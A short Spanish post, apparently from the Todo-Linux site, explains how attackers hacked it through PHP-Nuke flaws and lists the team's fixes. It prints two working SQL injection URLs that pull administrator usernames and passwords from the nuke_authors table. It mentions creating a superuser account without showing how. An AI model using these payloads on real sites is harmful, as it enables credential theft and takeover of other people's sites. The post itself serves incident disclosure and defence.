Agujero de seguridad en PHPNUKE - Así hackeron Todo-Linux esta mañana
Enviado el Monday, 23 February a las 15:36:24 por ShaDoW
Como ya sabeis Todo-Linux ha sido hackeado ésta mañana (hora Española 6:00). Despues de analizar el ataque, hemos comprobado que muchisimas paginas PHPNUKE son vulnerables a dicho ataque, a continuacion, enumeramos a grandes rasgos las sentencias que nos han ejecutado para hackear el site... aqui os explicamos todo al detalle
En primero lugar, se puede obtener una sentencia SQL con la password del administrador principal del sitio web con esta orden:
/modules.php?name=Sections&op=viewarticle&artid=-1%20UNION%20SELECT%200,0,aid,pwd,0%20FROM%20nuke_authors
Tambien se pueden sacar más datos asi:
/modules.php?name=Reviews&rop=showcontent&id=-1%20UNION%20SELECT%200,0,aid,pwd,email,email,100,pwd,url,url,10000,name%20FROM%20nuke_authors/*
Una vez obtenida la password del usuario ROOT, podemos crearnos una cuenta de superusuario:
Una vez tenemos una cuenta con dichos privilegios, el site es nuestro y podemos hacer lo que queramos.
Nosotros, para corregir el problema, hemos puesto una autentificaion previa a admin.pp, os lo recomiendo, tambien hemos desactivado los modulos que no usabamos (deberiamos haberlos desactivado hace mucho tiempo) y hemos modificado un fallo en el modulo de galerias, tal y como dijimos hace unas horas. ¿Conoceis algun parche para plicarlo y solucionar todos estos problemas de seguridad? ¿Conoceis mas fallos de seguridad graves?. Saludos a TODOS.
Inicio
